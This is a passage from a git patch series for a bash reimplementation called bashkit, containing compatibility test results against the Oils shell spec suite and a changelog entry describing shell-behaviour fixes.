[] + }, + "smoke": { + "summary": { + "cases": 18, + "bashkit_pass": 18, + "bashkit_pass_pct": 100.0, + "bash_pass": 18, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 18, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "strict-options": { + "summary": { + "cases": 17, + "bashkit_pass": 15, + "bashkit_pass_pct": 88.2, + "bash_pass": 15, + "bash_pass_pct": 88.2, + "bashkit_pass_of_bash": 15, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [ + 3, + 5 + ] + }, + "subshell": { + "summary": { + "cases": 2, + "bashkit_pass": 2, + "bashkit_pass_pct": 100.0, + "bash_pass": 2, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "temp-binding": { + "summary": { + "cases": 4, + "bashkit_pass": 4, + "bashkit_pass_pct": 100.0, + "bash_pass": 4, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "type-compat": { + "summary": { + "cases": 7, + "bashkit_pass": 5, + "bashkit_pass_pct": 71.4, + "bash_pass": 5, + "bash_pass_pct": 71.4, + "bashkit_pass_of_bash": 5, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [ + 3, + 5 + ] + }, + "var-num": { + "summary": { + "cases": 7, + "bashkit_pass": 7, + "bashkit_pass_pct": 100.0, + "bash_pass": 7, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "whitespace": { + "summary": { + "cases": 5, + "bashkit_pass": 0, + "bashkit_pass_pct": 0.0, + "bash_pass": 0, + "bash_pass_pct": 0.0, + "bashkit_pass_of_bash": 0, + "pass_rate": 0.0 + }, + "missed": [], + "bash_fails": [ + 0, + 1, + 2, + 3, + 4 + ] + }, + "word-eval": { + "summary": { + "cases": 8, + "bashkit_pass": 8, + "bashkit_pass_pct": 100.0, + "bash_pass": 8, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 8, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "word-split": { + "summary": { + "cases": 55, + "bashkit_pass": 53, + "bashkit_pass_pct": 96.4, + "bash_pass": 53, + "bash_pass_pct": 96.4, + "bashkit_pass_of_bash": 53, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [ + 24, + 25 + ] + } + } +} diff --git a/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.md b/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.md new file mode 100644 index 000000000..a5d6c0f6e --- /dev/null +++ b/scripts/oils-spec/results/oils-spec-linux-x86_64-20261008T152730Z.md @@ -0,0 +1,167 @@ +# Oils spec pass rate + +- Oils revision: [`57d3f0d088c3`](https://github.com/oils-for-unix/oils/tree/57d3f0d088c36340bc4b3038208e58ea02acf15c) +- bashkit commit: `017d9bfb4f3d` +- bash: 5.2.21(1)-release +- Spec files: 132 (bash column; 91 without one skipped) +- Runtime: 25.9 s, 4 jobs, 10 s per-case timeout + +## Headline + +**82.1%** — bashkit passes 2211 of the 2692 cases real bash passes. + +| Shell | Pass | Cases | % | +|-------|-----:|------:|--:| +| bash | 2692 | 2759 | 97.6 | +| bashkit | 2218 | 2759 | 80.4 | + +## bashkit failures by class + +Heuristic keyword classes; every case still counts in the rate. + +| Class | Failing cases | +|-------|--------------:| +| behavior | 338 | +| interactive | 109 | +| processes | 13 | +| host | 11 | +| signals | 10 | + +## Per spec file + +Sorted by cases bashkit misses among those bash passes. + +| Spec file | Cases | bash | bashkit | Missed | Rate % | +|-----------|------:|-----:|--------:|-------:|-------:| +| builtin-completion | 51 | 51 | 17 | 34 | 33.3 | +| prompt | 33 | 29 | 4 | 25 | 13.8 | +| array | 78 | 78 | 55 | 23 | 70.5 | +| builtin-trap-bash | 23 | 23 | 4 | 19 | 17.4 | +| var-ref | 31 | 30 | 15 | 15 | 50.0 | +| builtin-fc | 14 | 14 | 2 | 12 | 14.3 | +| builtin-history | 17 | 17 | 5 | 12 | 29.4 | +| interactive | 18 | 18 | 7 | 11 | 38.9 | +| array-assign | 11 | 11 | 1 | 10 | 9.1 | +| array-sparse | 40 | 40 | 30 | 10 | 75.0 | +| builtin-bind | 9 | 9 | 0 | 9 | 0.0 | +| introspect | 13 | 12 | 3 | 9 | 25.0 | +| nul-bytes | 16 | 16 | 7 | 9 | 43.8 | +| ysh-builtin-private | 23 | 22 | 13 | 9 | 59.1 | +| arith | 74 | 74 | 66 | 8 | 89.2 | +| bugs | 29 | 29 | 21 | 8 | 72.4 | +| var-op-test | 37 | 37 | 29 | 8 | 78.4 | +| alias | 48 | 48 | 41 | 7 | 85.4 | +| array-literal | 19 | 19 | 12 | 7 | 63.2 | +| background | 27 | 27 | 20 | 7 | 74.1 | +| builtin-trap | 33 | 33 | 26 | 7 | 78.8 | +| array-assoc | 42 | 36 | 30 | 6 | 83.3 | +| assign-extended | 39 | 35 | 29 | 6 | 82.9 | +| ble-idioms | 26 | 26 | 20 | 6 | 76.9 | +| builtin-read | 64 | 64 | 58 | 6 | 90.6 | +| builtin-vars | 41 | 39 | 33 | 6 | 84.6 | +| xtrace | 19 | 19 | 13 | 6 | 68.4 | +| arith-context | 16 | 16 | 11 | 5 | 68.8 | +| assign | 48 | 45 | 40 | 5 | 88.9 | +| blog1 | 9 | 9 | 4 | 5 | 44.4 | +| builtin-bracket | 52 | 50 | 45 | 5 | 90.0 | +| builtin-meta | 18 | 18 | 13 | 5 | 72.2 | +| builtin-meta-assign | 11 | 11 | 6 | 5 | 54.5 | +| builtin-printf | 63 | 58 | 56 | 5 | 91.4 | +| builtin-process | 26 | 24 | 20 | 5 | 79.2 | +| nameref | 32 | 32 | 27 | 5 | 84.4 | +| ble-features | 9 | 9 | 5 | 4 | 55.6 | +| ble-unset | 5 | 5 | 1 | 4 | 20.0 | +| brace-expansion | 55 | 55 | 51 | 4 | 92.7 | +| builtin-cd | 30 | 28 | 24 | 4 | 85.7 | +| builtin-dirs | 18 | 18 | 14 | 4 | 77.8 | +| builtin-kill | 20 | 19 | 16 | 4 | 78.9 | +| builtin-special | 12 | 12 | 8 | 4 | 66.7 | +| parse-errors | 27 | 25 | 21 | 4 | 84.0 | +| regex | 37 | 37 | 33 | 4 | 89.2 | +| sh-options | 39 | 39 | 35 | 4 | 89.7 | +| var-sub-quote | 41 | 41 | 37 | 4 | 90.2 | +| vars-special | 42 | 40 | 36 | 4 | 90.0 | +| blog2 | 8 | 8 | 5 | 3 | 62.5 | +| bool-parse | 8 | 8 | 5 | 3 | 62.5 | +| builtin-bash | 13 | 13 | 10 | 3 | 76.9 | +| builtin-misc | 7 | 7 | 4 | 3 | 57.1 | +| builtin-set | 24 | 24 | 21 | 3 | 87.5 | +| builtin-trap-err | 23 | 22 | 19 | 3 | 86.4 | +| builtin-umask | 24 | 24 | 21 | 3 | 87.5 | +| extglob-files | 23 | 23 | 20 | 3 | 87.0 | +| fatal-errors | 5 | 5 | 2 | 3 | 40.0 | +| func-parsing | 15 | 15 | 12 | 3 | 80.0 | +| glob | 39 | 37 | 34 | 3 | 91.9 | +| nix-idioms | 6 | 6 | 3 | 3 | 50.0 | +| quote | 35 | 35 | 32 | 3 | 91.4 | +| serialize | 10 | 10 | 7 | 3 | 70.0 | +| sh-usage | 24 | 24 | 21 | 3 | 87.5 | +| var-op-bash | 27 | 26 | 23 | 3 | 88.5 | +| var-op-len | 9 | 8 | 6 | 3 | 62.5 | +| arg-parse | 3 | 3 | 1 | 2 | 33.3 | +| array-basic | 5 | 5 | 3 | 2 | 60.0 | +| assign-deferred | 9 | 9 | 7 | 2 | 77.8 | +| builtin-getopts | 31 | 31 | 29 | 2 | 93.5 | +| divergence | 4 | 4 | 2 | 2 | 50.0 | +| errexit | 35 | 35 | 33 | 2 | 94.3 | +| exit-status | 11 | 11 | 9 | 2 | 81.8 | +| glob-bash | 8 | 8 | 6 | 2 | 75.0 | +| redirect | 41 | 41 | 39 | 2 | 95.1 | +| var-op-patsub | 28 | 28 | 26 | 2 | 92.9 | +| var-op-slice | 22 | 22 | 20 | 2 | 90.9 | +| append | 20 | 20 | 19 | 1 | 95.0 | +| builtin-type | 6 | 6 | 5 | 1 | 83.3 | +| dbracket | 49 | 49 | 48 | 1 | 98.0 | +| dparen | 15 | 14 | 13 | 1 | 92.9 | +| errexit-osh | 35 | 35 | 34 | 1 | 97.1 | +| extglob-match | 29 | 29 | 28 | 1 | 96.6 | +| for-expr | 9 | 8 | 7 | 1 | 87.5 | +| globignore | 18 | 18 | 17 | 1 | 94.4 | +| history-expand | 1 | 1 | 0 | 1 | 0.0 | +| pipeline | 26 | 25 | 24 | 1 | 96.0 | +| process-sub | 9 | 8 | 8 | 1 | 87.5 | +| redirect-command | 23 | 23 | 22 | 1 | 95.7 | +| tilde | 14 | 14 | 13 | 1 | 92.9 | +| toysh | 8 | 8 | 7 | 1 | 87.5 | +| toysh-posix | 23 | 23 | 22 | 1 | 95.7 | +| unicode | 7 | 2 | 1 | 1 | 50.0 | +| var-op-strip | 29 | 29 | 28 | 1 | 96.6 | +| var-sub | 6 | 6 | 5 | 1 | 83.3 | +| vars-bash | 1 | 1 | 0 | 1 | 0.0 | +| zsh-idioms | 3 | 3 | 2 | 1 | 66.7 | +| arith-dynamic | 4 | 4 | 4 | 0 | 100.0 | +| array-compat | 12 | 12 | 12 | 0 | 100.0 | +| assign-dialects | 4 | 4 | 4 | 0 | 100.0 | +| builtin-echo | 27 | 27 | 27 | 0 | 100.0 | +| builtin-eval-source | 23 | 21 | 21 | 0 | 100.0 | +| builtin-times | 1 | 1 | 1 | 0 | 100.0 | +| builtin-type-bash | 31 | 31 | 31 | 0 | 100.0 | +| case_ | 13 | 13 | 13 | 0 | 100.0 | +| command-parsing | 5 | 5 | 5 | 0 | 100.0 | +| command-sub | 30 | 28 | 28 | 0 | 100.0 | +| command_ | 16 | 16 | 16 | 0 | 100.0 | +| comments | 2 | 2 | 2 | 0 | 100.0 | +| empty-bodies | 3 | 3 | 3 | 0 | 100.0 | +| explore-parsing | 5 | 5 | 5 | 0 | 100.0 | +| globstar | 5 | 5 | 5 | 0 | 100.0 | +| here-doc | 36 | 36 | 36 | 0 | 100.0 | +| if_ | 5 | 5 | 5 | 0 | 100.0 | +| known-differences | 2 | 2 | 2 | 0 | 100.0 | +| let | 2 | 2 | 2 | 0 | 100.0 | +| loop | 29 | 29 | 29 | 0 | 100.0 | +| nocasematch-match | 6 | 6 | 6 | 0 | 100.0 | +| paren-ambiguity | 9 | 9 | 9 | 0 | 100.0 | +| posix | 15 | 15 | 15 | 0 | 100.0 | +| print-source-code | 4 | 4 | 4 | 0 | 100.0 | +| redirect-multi | 13 | 13 | 13 | 0 | 100.0 | +| sh-func | 12 | 12 | 12 | 0 | 100.0 | +| sh-options-bash | 9 | 9 | 9 | 0 | 100.0 | +| smoke | 18 | 18 | 18 | 0 | 100.0 | +| strict-options | 17 | 15 | 15 | 0 | 100.0 | +| subshell | 2 | 2 | 2 | 0 | 100.0 | +| temp-binding | 4 | 4 | 4 | 0 | 100.0 | +| type-compat | 7 | 5 | 5 | 0 | 100.0 | +| var-num | 7 | 7 | 7 | 0 | 100.0 | +| whitespace | 5 | 0 | 0 | 0 | 0.0 | +| word-eval | 8 | 8 | 8 | 0 | 100.0 | +| word-split | 55 | 53 | 53 | 0 | 100.0 | From 49217b1d23b80b643449fed219b12864b48823e0 Mon Sep 17 00:00:00 2001 From: Mykhailo Chalyi Date: Thu, 8 Oct 2026 15:33:29 +0000 Subject: [PATCH 2/2] chore(knowledge): drop hard tab from log entry --- knowledge/log.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/knowledge/log.md b/knowledge/log.md index 5dd40cbae..e68b596ad 100644 --- a/knowledge/log.md +++ b/knowledge/log.md @@ -2,7 +2,7 @@ ## 2026-10-08 -* **Fix**: `type` and `hash` follow bash. `type` takes `-a`/`-f`/`-P`/`-p`/`-t`/`--`, reports aliases only under `expand_aliases`, keywords, functions, builtins, then a hashed path (`ls is hashed (/usr/bin/ls)`), then a `PATH` file (an executable, else the first plain file, as bash's `find_user_command`); a relative `PATH` entry is searched from the cwd and reported as written (`PATH=bin` gives `bin/tool`, an empty entry `./tool`). The shell keeps a command hash table (at most 512 entries, TM-DOS-129): running a `PATH` command or a registered command bash would run from disk hits it, `type` counts a hit, `set +h` stops hashing, assigning `PATH` empties it, and a command with a `PATH=...` prefix searches that PATH and hashes nothing; `hash` lists `hits command`, takes `-r`/`-d`/`-t`/`-l`/`-p PATH`, prints `hash table empty`, and fails `NAME: not found` with status 1. A file found on `PATH` without the execute bit reports `Permission denied` (126) and a 256-byte path component `File name too long`. +* **Fix**: `type` and `hash` follow bash. `type` takes `-a`/`-f`/`-P`/`-p`/`-t`/`--`, reports aliases only under `expand_aliases`, keywords, functions, builtins, then a hashed path (`ls is hashed (/usr/bin/ls)`), then a `PATH` file (an executable, else the first plain file, as bash's `find_user_command`); a relative `PATH` entry is searched from the cwd and reported as written (`PATH=bin` gives `bin/tool`, an empty entry `./tool`). The shell keeps a command hash table (at most 512 entries, TM-DOS-129): running a `PATH` command or a registered command bash would run from disk hits it, `type` counts a hit, `set +h` stops hashing, assigning `PATH` empties it, and a command with a `PATH=...` prefix searches that PATH and hashes nothing; `hash` lists `hitscommand`, takes `-r`/`-d`/`-t`/`-l`/`-p PATH`, prints `hash table empty`, and fails `NAME: not found` with status 1. A file found on `PATH` without the execute bit reports `Permission denied` (126) and a 256-byte path component `File name too long`. * **Fix**: `eval --` and `source --` drop the `--`, other options are `invalid option` with the usage line (status 2); `source` searches `PATH` for a plain file, honors `shopt -u sourcepath`, and relative entries resolve from the cwd. `shopt` knows bash 5.2's full option list with its defaults (`sourcepath`, `globskipdots`, `patsub_replacement`... on), `-p` combines with `-s`/`-u`, `shopt -s`/`-u` alone list the on/off options, and listing or querying an option that is off returns 1. `test`/`[` gain `-v NAME` and `-o OPTION`. `$SHELLOPTS`/`$BASHOPTS` are computed readonly variables (`declare -p` shows the value); `export SHELLOPTS` hands the `set -o` options to a child `bash`, which also gets `PATH`, `PWD`, `IFS`, `PS2`, `PS4` under `env -i`; `/bin/bash` and `/usr/bin/bash` start the same child shell as `bash`. `bash` options parse like bash: `-c` may sit anywhere among them (`bash -c -x 'cmd'`), `-O`/`+O shopt`, `-o`/`+o`, every `set` letter, `-`/`--`. * **Fix**: redirections. A target is expanded like a command word once: none or several words are `ambiguous redirect` (status 1, the command does not run), an unmatched glob under `failglob` is `no match`, and quoted or escaped text is never globbed (`> "b*"` and `> one-\*` wrote to a matching file; TM-INJ-026). Under `2>&1`/`&>` on a group, function, script, `eval`, `source` or `bash` child, stderr merges with stdout in write order (`f 2>&1 | cat` put all of `f`'s stderr last), and `set -x; f 2>&1` no longer loses `f`'s output. `1<&2` dups like `1>&2`; `<&7` with fd 7 not open is `7: Bad file descriptor` (status 1; it read nothing and succeeded); `exec 6>&5-` moves fd 5; `cmd 4<` honors `set -C`; output a redirect of `env`/`xargs`/`timeout` routes no longer streams to the terminal first (`env bash -c 'echo x' >&2`), nor does a script run by path (`./x &>log`). A here-doc line ending in `\` joins the next line unless the delimiter is quoted. * **Fix**: `$_` is the last argument of the previous command (`declare -a arr=(..)` gives `arr`), empty after an assignment-only command, `/bin/bash` at startup and in a child; `$BASHPID` is a fresh virtual pid in each subshell, `$(...)` and pipeline stage; `UID`/`EUID`/`PPID` are readonly integers; `$LINENO` in `for (( ))` clauses is the `for` line. `wc` pads counts like GNU (width 1 for one count of one file, else the digits of the total input size, at least 7 for stdin), so `wc -l f` prints `3 f`. Oils spec pass rate 78.8% to 82.1% (`builtin-type-bash` 12 misses to 0, `sh-options` 11 to 4, `vars-special` 11 to 4, `redirect-multi` 9 to 0, `command_` 7 to 0, `redirect` 7 to 2, `sh-usage` 7 to 3, `here-doc` and `sh-options-bash` 6 to 0, `builtin-eval-source` 5 to 0); what is left is in limitations ("Special variables", `bash`/`sh`, "Named fds", "Locale").